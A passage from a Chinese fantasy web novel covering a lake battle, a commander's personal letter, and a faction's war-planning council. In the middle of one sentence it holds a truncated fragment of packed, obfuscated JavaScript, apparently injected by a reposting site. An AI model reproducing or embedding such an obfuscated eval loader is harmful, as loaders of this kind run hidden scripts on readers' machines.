众人不明所以,但也只能一分为二,大部分人留下,秦宝亲自护送魏玄定以外的黜龙帮顶层往行宫而去。 到了行宫,入了观风院,谢鸣鹤居然真有他觉得机密之事来做汇报,逼的其余人纷纷回避。 “两件事,其实都称不上是大事,但我觉得首席应该知道。”谢鸣鹤言简意赅,神情严肃了不少。“一个是上次盗役马的弓高县尉,他来到邺城被降职为里长,转到登州上任,结果出了魏郡就在兵站里自戕了……他从弓高到邺城,再到离开,许多头领和之前相熟的同侪都来探望过……不过没有任何证据说是谁挑唆的。” “知道了。”张行脸色果然收敛了不少。 “另一个是李枢的事情,我们没有做任何理会,他却明显不安了……公开的情报是,他这几日反复在太原-河东-上党一带乱走,可能会出岔子。” “随他。” “他无所谓,但若是他真不管不顾的回来,直接寻到几位河南头领那里又如何?会不会连累无辜?” “无妨,便是有头领接纳他,也是误以为我们跟他又有了联络,让张金树再去告知就是了……告诉他们,李枢是一个叛逃的舵主,仍然在通缉中,该如何就如何,然后尽量明正典刑。” “是。” “还有吗?”张行复又追问。“只这两件事?” “只这两件事没有必要付诸文书,却又觉得该让你知道,其余都有之前你在河堤上所看的那种例行文书。”谢鸣鹤轻松道。“江南、北地、东都、太原,东夷乃至于南梁,还有咱们内里,应有尽有。” 张行点头,没有多问什么。 洞庭湖的夜雾弥漫,四下昏沉,只有零星几处地方稍有火光,可相隔太远,非是修为过人根本无法察觉。某处小岛上,距离一处火光足足数里之外,漆黑一片中,白有思坐在一块凸起的石头上,正用奋笔疾书——她正在写信给张行,因为用的是炭笔,所以江南湿润的空气没有给她带来太多麻烦。 但是,写到一半,她却忽然收起,然后直接腾空而起。 片刻后,这位宗师忽然落在了一个破了洞的乌篷船上,船上两人见到白有思,虽有惊却没有多少吓,正是来此地劝降的林士扬、苏车二人。 “如何?”虽然猜到结果,白有思依然问了一句。 “确实是张范本人,总管之前观察的对,但他不愿意降。”林士扬干脆言道。“我们竟还见到了许玄……白总管,他们二人就在前面寨中。” “许玄意动了。”苏车察觉到林士扬暗示,赶紧接口道。“白总管,许玄马上要走,请你发发慈悲,看到他的去向,将我送去,我跟他是生死之交,一定能劝降他……真要杀他们二人,你随时可以动手,不若再给我个机会。” “可以,本就许你一夜时间,并未违约。”白有思点头。“但军情严肃,后果你自负。” “性命都是总管给的,如何敢推脱?我只是想救人。”苏车匆忙言语。 白有思没有接口,看向林士扬。 后者会意,也赶紧点头:“许玄确实是动摇了,我也随苏将军去便是……只是总管,既然摸清了他们的要害,就没必要拖了。” “好。”白有思言简意赅,直接又从船上腾起。“你们尽量劝他,若能让他在我们发动前点火最好,若不能,便免不了泥沙俱下,玉石俱焚了。” 林士扬二人便要答应,却忽然齐齐扭头然后愣住……原来,那许玄根本没有隐蔽离开,而是干脆借着雾气用真气腾跃的方式离开。 不能说他愚蠢,反正白有思在这里,他也躲不开的。 就这样,目送两人离去后,白有思的身形再度消失在夜雾中,再次出现时,已经是在是一个港湾中了。 杜破阵亲自等在这里。 白有思将情形转述清楚,复又来问对方:“雾气浓厚,火船可有妨碍?” 杜破阵倒是从容:“照理说撒了油的干草,配上秋后芦苇,什么雾都不耽误,何况马上天亮雾散?可要我说,便是不能起火,咱们难道还不能肉搏吗?只是十几路一起发动,到时候免不了要有人迷路,有人危机,还要指望白总管的能耐!” “无妨,且观在下作为。”白有思同样放松。 二人不再多言,静静等候预定的五更天末,也是天明之前那个时候到来,但是,大约四更天靠后的时候,湖中一处小岛忽然火起,火光浓烈,照破夜雾,方圆十数里可见。 白有思不再迟疑,直接起身下令:“开战,放火!” 言罢,自己先腾空而起,在正上方旋转不断,一时间湖面上空辉光大作,竟比之前那火光还要强盛,复又如龙御风,先直扑之前小岛方向而去,乃是要急切擒杀洞庭湖首要叛首张范。 而随着这一幕,沿岸与湖中多处已经被联军控制的港湾,也都依次点火,各自发船。 PS:大家元宵快乐。 第七十八章 安车行(7) 天色刚刚亮的时候,洞庭湖上方仿佛笼罩了一层雾海,那是晨雾未退,而雾海之中竟然又弥漫着烟尘与火光,远远望去,仿佛有火焰困在雾海之中。 无数鸟类寻不得落脚之地,只能四处乱飞,更给这洞庭湖增添了许多纷乱之态。 这个场景意味着不管会遭遇多少意外,白有思带领的援军都实际上对湖南叛军中理论上最麻烦的洞庭湖叛军发动了总攻。 也使得白三娘在战后方才将那封信完成,并在秋收结束以后方才送达邺城。 信件送达的时候,邺城正好下了一场秋雨,秋雨不大,没有给秋收入仓带来太大的影响,但也使得乡野之间进入到了某种仓促的境地。 实际上,就连观风院里此时都垛了两垛秸秆,这不是张首席非要展示自己跟农业生产的亲密关系,而是观风院内有小灶,本就需要柴火,而当张行坐观风楼上,打开这封信的时候,下面正在讨论要不要将这些秸秆盖挪到后院马棚下。 说是讨论,其实月娘一如既往的强势,只是发布命令而已,秦宝与张行的表妹怀娘只能做个听从号令之人。 张行听了一会下面动静,便在听风楼上打开了这封很厚的信: “三郎会字如面,洞庭湖一战已经稍作了结,张范被擒杀,许玄投降,其余各处仍在清剿之中。 诚如你所言,江南既乏高手,又匮精炼之军,我以宗师之身附淮右盟并徐州行台压入,并无人可挡,但大英兵马未至之时,江南之事,本就不在兵戈,而在人心……依我所见,江南各处各方,皆各怀鬼胎。 杜破阵此人,亦诚如三郎所言,因为少年、青年求生艰难,极度不安,一心便要找你所说的安全感,遍观其言行,无不是为此……保持淮右盟的半独立是为此;收义子军是为此;打压淮右盟内元老是为此;身为外藩联络其余各方也是为此;最后,绝不与我们翻脸同样是为此。 所以现在的局面是,他知道我来江南本身就有假道吞并淮右盟的意思,却坚决不翻脸,也坚决不配合,总是在找机会跳出去。 而我以为,不管他如何折腾,等到秋后大英的兵马到来,天下再无空隙,他去无可去,终究还会是做出最终倒向的,大势由不得他。但也需要提防他被我父亲诱以巨利,所以最好加强对淮右盟的渗透……我建议将李子达一营走安陆送来,然后再让他抽调一营**兵北上。 实际上,辅伯石、马胜等人都怀有忧虑,辅伯石跟我说,他们到底是跟着杜破阵一起从草莽中走出来的,这么多年一起,生死荣辱都在一起,还是希望帮里让杜破阵有个结果。” 张行看到这里,想了一想,提起炭笔在辅伯石、马胜后面打了个括号,加上了李子达、苗海浪等人,犹豫了一下,又写下了阚棱这个名字,然后专门画了一个圈。 且说,淮右盟是张行亲手组织起来的,后来又被黜龙帮设为外藩,内里的条路他比谁都清楚……现在的局面是,里面既有辅伯石、马胜这种明显主动偏向将淮右盟彻底化为黜龙帮一个行台的二号人物和水军骨干,也有李子达、苗海浪这些因为有家底子从而被动服从黜龙帮的淮上豪杰。 唯一的麻烦就是那一万义子军。 义子军当然称不上是针扎不进水泼不进,但义子军的统帅阚棱绝对是个人才,有勇有谋有修为有忠心,而且性格刚烈……如果杜破阵犯了糊涂,拉上了阚棱,动员了义子军,很可能会惹出事来。 当然,这么想本身也有些一厢情愿,因为杜破阵这种以追求安全感为底色的野心之辈,不到万不得已,绝不会撒手淮右盟这个鸡蛋壳,在维护淮右盟统一的方向上说不得比辅伯石这些人更上心。 但既然计划到这一层了,总要对黜龙帮这边无法触控的方向再努力一下,于是张行复又低头亲笔写了一个文书提案,一个私人的条子,分开放置,然后继续去看书信: “至于江南这里,竟是暮气沉沉与草莽无度并存。 萧辉与操师御乃是南梁支柱,却同病相怜,二人皆有所求却无从着手,困境之中胡乱施为,宛若缘木求鱼。 萧辉此人其实颇有才行,既晓得一些局势,也晓得自己斤两,本可有所作为,但偏偏忘不了自己的出身,又在数年内重得了昔日萧梁的名分,总想着能一步回到昔日局面,做个名副其实的国主、皇帝,乃至陆上至尊。但他本人殊无根基,一个得力的亲信也无,只能借力打力,指望着借力成事,未免可笑。 还有操师御,修为到了,实力也足,但总不甘心做个教主,要么想着化教为国,要么想着取萧辉而代之,但前者是与真火教之外的所有江南人为敌,后者是与包括真火教自家在内的所有江南人为敌,怕是已经陷入障业,此生难再进一步了。 至于说湖南诸侯,就更是脚下无根,头上无云了。 倒是那个林士扬,虽然行止可笑,计策幼稚,但因为其余人都是走的死胡同,反而有了几分生机……依着我看,湖南的几个降人,明显都看出来林士扬的拙劣,也都猜到他的想法,但兵败无依的情况下,又不愿意再试着信任操师御与萧辉,却都只能捏着鼻子随他。 此人将来的局面,或许比我们想的要好。 此外,三郎之前问医院的事情,我可以明白告诉你,没有医院……自扬州到江东再到江西、湖南,并没有医院,连千金碑都有缺乏打理的情况。” 看到这里,张行不免摇头……倒不是感慨操师御和真火教的器量,而是想着医院这东西迟早要建的,就好像筑基的学校一般,现在操师御不愿意建,那将来黜龙帮还得建……委实麻烦。 相较而言,据张首席所知,人家东都和大英,老派是老派,可照样允许医院开进来,而且两家今年都毫不迟疑的推行了强制筑基的策略……用那位便宜岳父的话说——“道不同,然则战时相争,虽分毫利害不得相让。” 而这么一想,活该江南势力明明棋手的体量却变成了棋盘。 正想着呢,下面院子里的声音已经渐消,取而代之的是雨水夹杂着炊烟的味道,张行呛了一下鼻子,便收起神,翻看了下一页纸: “三郎,我既到了洞庭湖,竟有些胆怯起来,巴陵刚刚打下来,湖心岛就控制住了,但我准备拖到这封信后再上去……这些天,我望天望月望湖,常常泛起一些思绪,有时候会觉得至尊无情,肆意**凡人,可恶可憎,将来若有机会,应该像黜吞风君一样黜了其中几位;有时候又觉得,恰如君王安排官吏,将军分派士卒,有些事情就是这么顺理成章来的,不能过于苛责祂们;而有些时候,我竟只觉得天地浩渺,人生短暂,莫说我们未必就能跨过那一步,便是跨过了,如祂们那般,似乎也无聊无趣,不如散为烟尘,干干净净,清清白白。 这些想法,我心里明白,是修为上的关卡,尤其是要迈进大宗师之列,便先要克服这些,方能性情率真,肆无忌惮……可这也是我真真切切的感受,绝非作假……而且,有时候我胡思乱想之际,甚至有些可怜你,你那般坚硬如铁,似乎觉得万事万物皆都要服从大道,所有情谊遐思都只是脑中虚幻,就连生死都只是这宇宙间一闪而过的尘埃,也不知少了许多乐趣? 当然,或许如你所言,要先认清楚宇宙唯物,再去享受情感,珍惜生死,方才是正道,但要到那一步,怕是又要往后了。” 信的落款是一个白字加三撇。 但翻过来,又见这封信最后一张纸的背面还有一行字: “我在江南,多见烟波浩渺,你在河北,也不要一味去修河,可以与雄天王稍作替换,纵马原野,看风卷四下。” 张行看完信,心中难免叹了口气……也有许多情绪涌上,便想要立即写封信给对方做回复,孰料,刚刚拿起炭笔,却远远便察觉一些动静,居高临下看了一眼,发现竟是刚刚来邺城述职的幽州行台指挥窦立德亲自顶着细雨来了……手里还拎着两包什么东西,老婆孩子也跟在身后,束手束脚的。 不知道的还以为是邻居串门来了,当然知道的也得捏着鼻子认,人家就是邻居串门来了。 收好书信,将写的几个条子封住,张首席便也走下楼来,远远看见对方进了门便笑:“窦龙头,这是闻见我这里开了小灶,专门过来的?” 窦立德立定在门内,手中油纸包耷拉下来,然后方才来笑:“首席只会冤枉人,如何不说我是一回来就想着送礼?” 说着,将手里的大小两个油纸包抬了一抬:“北地的柿饼子跟幽州的金丝小枣。” 话音未落,月娘便已经走了过去,麻利接了过来,同时招呼后面的窦小娘,问对方吃不吃枣糕……这倒不是月娘跟对方很熟悉,恰恰相反,后面跟来的母女中,曹夕虽然忙,但作为大部总管总免不了要来来往往,宫城女眷们与女官们也总会说起她的事情,视她为榜样,月娘来邺城行宫居住许久,也算是熟悉;倒是窦小娘,老早晓得这是军中少见的女将,却一直不得见……只不过,月娘看的清楚,这窦龙头装出一副自来熟的上门模样,其实身体紧绷,身后妻女明显对他这个作态更有些尴尬,一时难做配合,尤其是窦小娘脸薄,看到自家父亲这个姿态,愈发无地自容,所以月娘才上前招呼。 怎么说呢?多少年了,她的性格一如既往,始终像是当年帮父亲在坊门口卖包子的少女。 只不过,当年随便一个净街虎都能吃她家的饭不要钱,现在连窦立德这种封疆大吏来吃她做的饭都得带礼物了。 就这样,窦立德一家进来,月娘指挥若定,就在廊下摆开桌子,顺便将对方带来的柿饼摆盘,金丝小枣下粥,须臾片刻,几份小菜放好,两瓶酒水摆上,众人刚刚落座,她又招呼窦小娘帮忙将一屉新出锅的白面馒头抬了出来。 月娘的“喧主夺宾”明显打断了窦立德施法条,他愣了好一阵子,等大家一起用餐,眼瞅着张行的那个刚刚会跑的外甥抱着馒头去后院寻那两匹龙驹,这才缓过神来,主动给坐在旁边的张行倒了一杯酒。 “我以为你会贴着日子才到。”张行接过酒来啜了一口便放下。“幽州秋收应该比邺城这里晚一旬吧?” “不是这样的。”窦立德立即有了精神。“幽州那边分山区与平原,山区比平原大得多,但秋粮却比平原少得多……而且平原秋收与邺城这里差也差不了两三日,差一旬的是山里那几块谷地,我是等平原秋粮收割的差不多了,才抽身过来。” “原来如此。” “张首席……”窦立德顿了顿,举杯停住来问。“我既从幽州来,有句话不得不问,桑干水为何修不得?我们幽州自家出力便可,连踏白骑都不用来。” “不是修不得。”张行摆了下手,随即捏了个馒头在手。“是害怕各地一拥而上,争先恐后……这样的话,最少也是滥用了民力,多想的话,为了在我这里表功,不该修的也强行修,弄出水患来也说不定……所以,除了程大郎算是济水下游本乡本土,平日里对本地优纵过了头的,稍微可信,其余人我是不敢放权的。其实,窦龙头也该看出来了,我这人平素不喜欢折腾,之所以要强行做一些事情,一则是不得不做的,二则是要绕开其他的事情。” 窦立德饮了一口,复又点头:“这是实话,首席修河其实是不想立即开战……不过首席,我有句话还是要说,你有没有想过,若是咱们这些人不把事做了,后面的人就没有心气做了呢?咱们到底是**堆里爬出来,都受过暴魏欺压,看到过暴魏土崩瓦解,见过赤地千里的,所以晓得如今的局面多么来之不易,所以晓得要体恤人力,晓得要为民造福,晓得不把基础做牢固日后也会土崩瓦解……可以后的年轻人呢?现在行宫里到处都是刚刚出生的小孩子,他们生下来就是在这邺城那么繁华的大城里,能晓得这馒头是从那些秸秆里出来的就不错了,何谈主动想着去铺路修河呢?不去建宫殿就了不得了。” “这事没必要这么忧惧。”张行笑道。“因为它就是没办法、变不了……所以反过来想想,咱们做咱们的,尽量教导他们就是。” “关键是先得做。”窦立德毫不迟疑的切入正题。“首席,你的担心是对的,一旦放开肯定会一拥而上,但也不能只你一人做,我窦立德不是无知无畏之人,也可以做……” 话说到这份上,再质疑人家就是打消**热情了,张行还能说什么,只好干笑了一声,立即点头:“窦龙头说的有道理,你准备个提案便是,三日后的吞风台会上我绝对支持。” 窦立德得了应许,也不喜形于色的,更没有趁机要更多,只是一边吃饭一边说些闲话……从北地货物与人口流通需要拓展掷刀岭通道和渤海码头,到幽州检地再均田过程中燕山山脉里的一些小摩擦,乃至于自己女儿冬日婚事在哪里办,都有提及。 而且也不是一味的展示自己的**立场多么坚定什么的,也有抱怨和吐槽的意思,尤其是盯着自家三口人散在三个地方的事情,似乎还有些炫耀。 全程更没有提及刘黑榥,更没有提及那个盗役马的弓高县尉。 看得出来,窦立德本就是帮内数得着的人物,此一番脱了原本河北义军的窠臼,到了幽州主政一方,竟隐隐又有了几分长进,视野也开阔了,身段也更柔了,心思也更稳了。 与之相比,倒是邺城这里大行台熙熙攘攘,陈斌心胸狭窄未得长进……不过跟他同气连枝的谢鸣鹤倒是长进了不少,关键是态度渐渐扭转了,愿意做事了,愿意把黜龙帮当做自己的事业来干了,不再有之前那种“我来助你”的疏离感。 至于雄伯南、魏玄定、徐世英各拥气度吧,不能算有长进,却也都在深耕各自所领。 竟也不能说谁就退步了。 一顿饭吃完,张行目送着对方一家三口离开,月娘还追出去,将一个临时用红缎子捆起来的新鞍鞯送给了窦小娘,原话是担心对方直接在北地办婚事,这边就没机会贺喜了。 窦小娘自然感激,秦宝也只能下午再去买一副鞍鞯回来。 就这样,往后几日,天气晴朗,邺城没显出来,可行宫这里却忙碌了许多,因为有大量的地方官吏开始往这里做述职,汇报秋收事宜和之前一年的刑律案判、钱粮支出、仓储余额等等。 按顺序,大略是河南那边的先过来,不过行宫内的文书参军们也都注意到,北面的几位龙头也都到了,很显然是为了赶上八月上旬举行的吞风台例会。 所谓例会,当然也没什么仪式,但龙头们聚在一起,当着首席的面讨论出来的事情,具体的基本上要马上执行,而宏大些的到了年底大会也没道理过不去,自然也有些一言而定的感觉。 实际上,那刚刚建成不久的吞风台,已经有了堪比原本大魏制度下南衙一般的名号。 没错,大魏是大了一些,可大魏也不止有南衙呀,大明和黜龙帮可就只有一个吞风台。 “要学筑基学校里点个名吗?”张行见到人多了几个,难得开了个玩笑。 “点,记录在案。”魏玄定配合着应道。“平素咱们不开口,人家几位文书都是亲手把名单先摆好的……首席张行?” “到。”张行举手应对,声音洪亮,依然开得起玩笑。 “算了!”魏玄定自己先掌不住。“首席以下,大行台五位龙头都在,外镇来了窦立德、单通海、牛达、伍惊风、洪长涯五位……一共十人。除此之外,王叔勇、徐师仁、周行范三位暂署龙头都还没有转正,但按照的首席的意思,一起过来商议事情,只不能举手表决,眼下也都列坐……这就是十三人。” “也就是殷公、李龙头、杜破阵、白总管四位没到对吧?”陈斌好整以暇来问道。“主要是李龙头竟也不来吗?” “李龙头说他在北地整训部队,忙碌的厉害。”张行接口道。“还说只要不撤了他的职司,就不回来。” 这吞风台上大桌周边,不少人都微微皱了下眉头。 “我觉得这样不好。”坐在背靠漳水方位的周行范脱口而对。“总是特立独行,时间久了,真以为自己有什么不一样呢!” “不错。”雄伯南也肃然道。“首席,我晓得你在保护他,让他专心北面的事情,但老是这般,没有嫌隙也要自己生出来了……” “你们说的对。”张行认错极快,可就是不改。“但我还是以为要保证李龙头在北地的优先……要我说,冬日间天王不妨主动去北地走一走,去视察一下北地帮务,徐大郎就不用去了,这边的军务也该严整起来了。” 雄伯南顿了片刻,点头认可了这个方案。 倒是王叔勇思路奇特,此时瞥见执勤的文书首领萧余已经领着几个年轻文书奋笔疾书,却是有些诧异:“现在就开始记录了吗?” “当然。”单通海昂然道。“从进这个屋子开始,大家便有公无私。” 饶是王叔勇军中号称勇冠三军,此时也不禁脸色一紧,变得跟旁边自进来以后便眼观鼻鼻观心的徐师仁一般老实。 其余人被单龙头这么一喝,也都有些凛然,纷纷入座。 而且入座之后,这十位龙头,三位暂署龙头,全都有些茫然,一时竟冷了场。 半晌,还是雄伯南看向了张行与魏玄定,后者会意,开口来道:“诸位龙头,今日只是例会,但难得秋后相聚,几位地方行台的龙头都来,我的意思是,咱们大行台这里可以缓缓,若是首席没什么言语,就让几位地方行台的人先做言语。” 众人一起点头。 张行迟疑了一下,也缓缓开口:“我其实是在想,要不要就此定下大略,这次会议之后,帮中就转回以军务为主?” “有道理的。”徐世英当仁不让接口。“秋收前是咱们有主动权,放弃了大举进攻,秋收后大英可就坐不住了。” “不是让白总管南下去吸引大英的兵马吗?”窦立德蹙眉来问。“而且听说效果极佳?” “大英跟咱们都算是**大国,一旦动手,便是南线再牵扯一二,都不会耽误十万大军出东都……而且还是那句话,一旦大英去取东都,咱们万万不能让的。”徐世英稍作解释。“到时候也要起五十个营去抢。” “那我直言好了。”窦立德言语艰难。“幽州这边是今年刚刚收复的,才经历了一次秋收,我是想再整饬休整一下的……不过我也有句话,若是大行台这里有言语,幽州便是再难也一定服从大局,否则要我去那里干吗?” 陈斌前面已经准备驳斥了,听到后来反而心惊,一时不敢言语。 “幽州还是有些空档可言的。”张行插嘴道。“原定就是用来支持北地的,而不是这里……” “所以现在只南面适当动员转型?”负责后勤的柴孝和认真询问。“武安跟晋北已经动起来了,再让济阴与谯郡动起来?” “还是不够,大行台一定要动。”徐世英言语坚决。“大行台不动,就没法在东都与之相争……我知道诸位在想什么,但是正所谓用兵分奇正,没有正是不可能出奇的,这件事千万不能有侥幸心理。” “说得好。”张行立即认可。 “那大行台这里也都停下之前的各类工程与举措,转而军事动员起来?”魏玄定眉头比之前窦立德的还紧。 “停下来民生民政的工程与举措,但不大举动员,咱们不做主动应战,加紧军备就是。”张行给出了大略基调。“不过,滹沱河修了一半,没道理停下,大家给当地百姓个机会,让我把它修了,若是真打起来,我也就停下来……” “那大行台这里就只保留一个滹沱河的工程!”陈斌抢在魏玄定之前下了结论。“大行台便是大行台,有些事情不能躲闪。” 魏玄定硬生生把自己要争取一些“魏郡特例”的话给咽了下去。 张行也不由多看了这位大行台文书总管一眼,心中那里不晓得?陈斌觉悟是有的,自恃为首席心腹的他在大事上也一定会配合自己,但毫无疑问,窦立德此番归来的姿态也明显刺激到了他,逼的他把积极态度摆了出来。 “那就这么办。”陈斌的表态不止是堵住了一个人的嘴,片刻后,见到无人开口再做讨论,张行定下了这个会议的基调。 坦诚说,有些措手不及,但战和这个事情,本身就是贯彻着整个黜龙帮的当前第一要务,人人心里都有思量,只没想到会在这么一个例会上就定基调罢了。 “咱们要大略转向备战……接下来几位外镇龙头谁先说?”魏玄定绷着脸来问。 自从开始掌握一个具体方向的工作以后,魏玄定就发现自己在变得越来越情绪化,对着下级和工作成果常常**了头,对着需要争夺资源的其余龙头他就仇大苦深起来。 但没办法,老魏自己偷偷请教过张世昭,后者告诉他,这是没有经历过足够的官场历练的缘故,所以没辙,反正黜龙帮其余高层也都是类似的模样,倒也不必为此不安。 当然,魏玄定还是渐渐发现,帮内这些高层中,越来越多的人变得沉稳干练,变得喜怒不形于色起来,而自己这个脾气,怕是还有年纪太大转不过弯的缘故。 这么下去,怕是要落后于人的! 并不晓得魏玄定心思也没有刻意喜怒不形于色的窦立德开口了:“我先说吧,幽州要修河,要修路,要建码头,要造船,要起仓城,还想把山地里那些小郡给整理一下。” 众人纷纷侧目。 而窦立德从容从自己腰中一个制式骑兵皮包……真的是皮包,牛皮包……取出了厚厚一沓文书,然后亲自起身与大圆桌上的诸位分发,还给正在记录会议的萧余送了两份。 这上面清楚详细的写了要在何时何处用多少人修哪段河,要在哪个山口扩大通路,要造什么船,如何选定仓城地址,如何整理那些小郡的疆界,甚至包括了准备将一些在燕山山地中很有影响力的家族迁移到邺城的方案。 看得出来,窦龙头准备充分。 而众人心思复杂的看完这些,也都无语,还是王叔勇来问:“窦龙头这么多安排,做的完吗?” “王五郎哪来的这话?”窦立德当场笑道。“你莫忘了咱们黜龙帮历来做事的规矩,只要是对的事,能做一件是一件……何况今年首席修河的时候,大家谁能想到修的这么多这么好?我当然没有首席的威信和本事,但按着这计划表的顺序挨个做便是。” 王叔勇当场无言,其余人更是一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这是没办法的事情。”徐世英努力解释。“单龙头,你须晓得咱们济阴行台的尴尬,争东都,对上的就是龙囚关,龙囚关距离东都不过几十里,真要是从这里走,高手要对上司马正,士卒要对上那雄关……所以既要对上雄关对上司马正,为何不从河阳那里对上?” 单通海还想说什么,徐世英继续言语:“我也晓得那些老兄弟会不满,过几日我过河去,专门与他们说,就告诉他们是我安排的方略,且看谁要如何!” 连徐大郎都铁面无私起来,单通海如何能忍,立即推辞:“何必要你,我自能压住人心。” 话一出口便后悔,因为这便是认了对方给济阴行台安排的预备队任务了。 孰料,张行此时忽然出言:“其实倒也不必……还是要考量军心的,因为谁也不知道东都这里要打多少场?一场如此倒也罢了,两场三场五场也要如此?济阴肯定不满,河北这里损耗也大。” “那……” “调换一下人手便是,让济阴那里抽调几个营跟大行台这里互换,每一战都换,提前换。”张行给出方略。 “也不是不行。” “可以。”单通海先点了头,手下的军功就是他的,倒也不必争个人。 然而,伍惊风依旧没有开口,周行范不耐,直接接了下去:“晋北这里最麻烦的是没有时间整编,若说士卒个体战力,几位将领的修为都是不错的,装备也补充了,但还是差帮里正常的营头许多……能不能也与我几个老营?” “不行。”徐世英立即否决。“一来,这边交换营头不影响战力;二来,你那里本就是偏师中的偏师,是打掩护的,不用许多战力。” “那我没什么说的了。”周行范倒也干脆。 “多给你点文书与参军,尤其下个月就是今年的科举,取了士子也多与你一些。”张行稍作安慰。 “也行。”周行范依旧坦荡,也不嫌弃。“有比没强。” 伍惊风还是不说话。 终于,洪长涯认认真真提出了一个建议:“首席,诸位龙头,我以为武安行台没有必要再立着了,本就挨着邺城,直接收归大行台最为方便,我愿意脱了行台单独领兵,也愿意去晋北协助周龙头。” 周行范笑了一声,便要说话。 却不料雄伯南直接摆手:“这样不好,不是信不过你洪龙头,而是天下未定,将来还要招揽人的,这才一年不到就把你的行台撤了,天下人只会以为我们把你晋北吃干抹净了。” “诚然如此。”陈斌也赞同雄伯南的意见。“正如洪龙头所言,反正武安就在邺城旁边,有什么事情我们大行台可以直接帮忙,那留着武安行台的架子也无妨的。” 洪长涯只能闭嘴。 伍惊风还是不说话。 牛达无奈,知道不能再拖,也直接言语起来:“我这里有两个事情,一则是王厚把兵马带走,杜破阵把水军也挪走了,缺兵少将,偏偏杜破阵走后淮南那边挨着淮水的地界空了下来,想要控制却有些犯难;二则是如何与南梁交往……” “如何交往什么意思?”陈斌略显不解。 “譬如逃人……接纳了淮水南岸后,就有不少逃人过来,尤其是奴籍,他们找我们要,我们该如何?” “不给。”雄伯南立即回复。 “实在不行,我们暂时出钱赎买,都不要把人送回去。”柴孝和也来言。“不然就是坏我们自己的根基。” 牛达点头:“还有,我来之前他们还托我打听之前的南梁皇族,比如萧皇后与萧分管……” 众人一起去看奋笔疾书的萧余,后者头都不抬,仿佛写的不是自己名字一般。 “这又是什么意思?想要请回去?”陈斌也莫名有些不安起来。 “有那个意思,但又似乎下不了决心,遮遮掩掩的……按照我的猜度,应该是萧辉确实乏人,但他只是以前前朝的皇族身份被捧起来,不免担心萧分管过去会喧宾夺主,所以有所忌惮。” “那就告诉他们人在哪儿,什么职务,只当他想走亲戚。”陈斌冷冷对道。 牛达点点头。 “还有吗?”陈斌似乎带了火气。 “那位国主似乎还想拉拢我,送了许多男女财帛。” “男女授田,财帛你跟行台三七分账……还有吗?” “没了。” “其实只要你恪守咱们的法度,对他们不卑不亢就行了……没必要计较太多。” “主要是要与首席这里做个交代,也要弄清楚大行台这里对南梁的基本态度……” “有什么态度?看他们自败而已,若自败的快就要趁虚而入。”陈斌言辞冷冽。 “还有吗?”张行居然没有否认陈斌的言语。 “外交上就这些,还有缺兵的事情……”牛达提醒。 “不能给你太多兵。”张行想了一下,稍作强调。“实在不行让登州给你协防,你自己编练些临时的民防也行。” “只能如此了。”牛达叹气道。“来之前我以为还要拖个一年半载,未必就要决战了……可东夷人翻脸又如何?” “所以请大宗师去打探消息兼做震慑了。”张行回复道。“若是大宗师都不能劝退他们,那咱们只能准备两线开战了……而若是东夷人愿意不战,连你也要带着自己的营头过来参战的。” 牛达点点头不再言语。 几人明显想到殷天奇的事情,想要讨论一下,但目光斜到伍惊风,却都住嘴。 伍惊风还是没说话。 无可奈何之下,魏玄定盯住了另外两位:“五郎、徐龙头,你二人也可以畅所欲言。” “没什么可说的,我们既没有主政一方,也没有参与大行台决策,只是战将而已,首席与大行台有吩咐,我们勇往直前罢了。”王叔勇明显有腹稿,只是说的时候有些呛。 “王龙头说的极对。”徐师仁缓缓而言。“若非首席看顾,黜龙帮能容人,我一个暴魏逃人如何到的此地与诸位同列?只能尽心尽力作战,用这条性命报答罢了。” 众人纷纷颔首称赞,最后一起看向不说话的伍惊风。 伍大郎头皮发麻,心窝流汗,却也晓得无论如何都躲不过,只能勉力来言:“我本就不知道有何言语,上来这吞风台上,只觉得大家说的都极有道理,个个都是真豪杰,便听得便入了神,更不知道该说什么了……也就是等着打仗了!” 众人哄笑一场,倒是张行主动来问:“大郎,你修为如何了,什么时候能晋宗师?” 伍惊风这才肃然:“其实我修为早就到份了,之所以没能晋宗师还是心中有憾,若有一日能进军到西都,怕是立即就能成个宗师。” 张行略显感慨:“到了宗师、大宗师,想要进步果然还是以符合心境的功业最常见。” “可不是嘛。”回到自己熟悉的领域,伍惊风便放松下来。“还是谢总管那位祖上最明显,打到大河边上,哪怕要**,也成了一日大宗师……不过前提是底子厚,外加亲身领袖,先……大魏开国那位就是坏在这两件上面。” 众人就势闲谈了几句修为上的事情,也算是另类的歇息。 而停了一阵子,张行终于也将另一件事情摆了出来。 “杜破阵……也要交换营头吗?”徐世英明显不满。“从邺城到湖南,这得多少路程?况且大战在即,将已经成型的一个营头去换还要再做操练的兵马,值得嘛?” “关键不是一个营头的事情,也不是杜破阵的事情,而是淮右盟。”窦立德语气平缓。“若是我们还想将淮右盟吃下,觉得还能吃下,那使些法子,用些力气都是无妨的……怕只怕,淮右盟到了湖南,一去不复返,咱们白折了力气,还耽误北方大战。” “说得好,淮右盟现在对咱们黜龙帮来说,就是首席之前说的鸡肋,食之无味弃之可惜。”陈斌也有些感叹,他今日和窦立德竟然意外的在很多事情上态度类似。 “也不能这么说,其实淮右盟的作用已经很大了,咱们驱赶着他们先后兵不血刃得了淮西与徐州,现在又染指了南梁内里,还有什么可说的?真弃了也就弃了。”牛达稍作驳斥,但似乎也不对淮右盟再抱有多余期望。 “白总管是怎么想的?”倒是柴孝和想起了一个关键。“现在淮右盟在她麾下,总得听她建议。” 众人这才收敛,去看张行。 张行倒是坦荡:“这就是白总管给我书信中的建议……” 说着,便将白有思那番言语与自己对淮右盟的了解依次说了出来,最后提出,淮右盟不大可能逃出黜龙帮手掌心,而若是能解决阚棱,那就更是十拿十稳了。 但想要解决阚棱……却似乎又不大可能。 “阚棱之忠,与杜破阵是真真恩犹父子,怎么解决?只能尽力而为吧?”牛达有些无力。 “那就尽力而为,直接让李子达过去,然后下文书阚棱来。”徐世英松了口。“但他能来吗?别白送了李子达过去。” “我倒是许久没有用什么阴谋诡计了,不是不能试一试把人骗来。”张首席却是有些语出惊人。 但很快,他就反应了过来,立即回头叮嘱萧余:“这句话不要记。” 萧余抬头看了这位首席一眼,一声不吭。 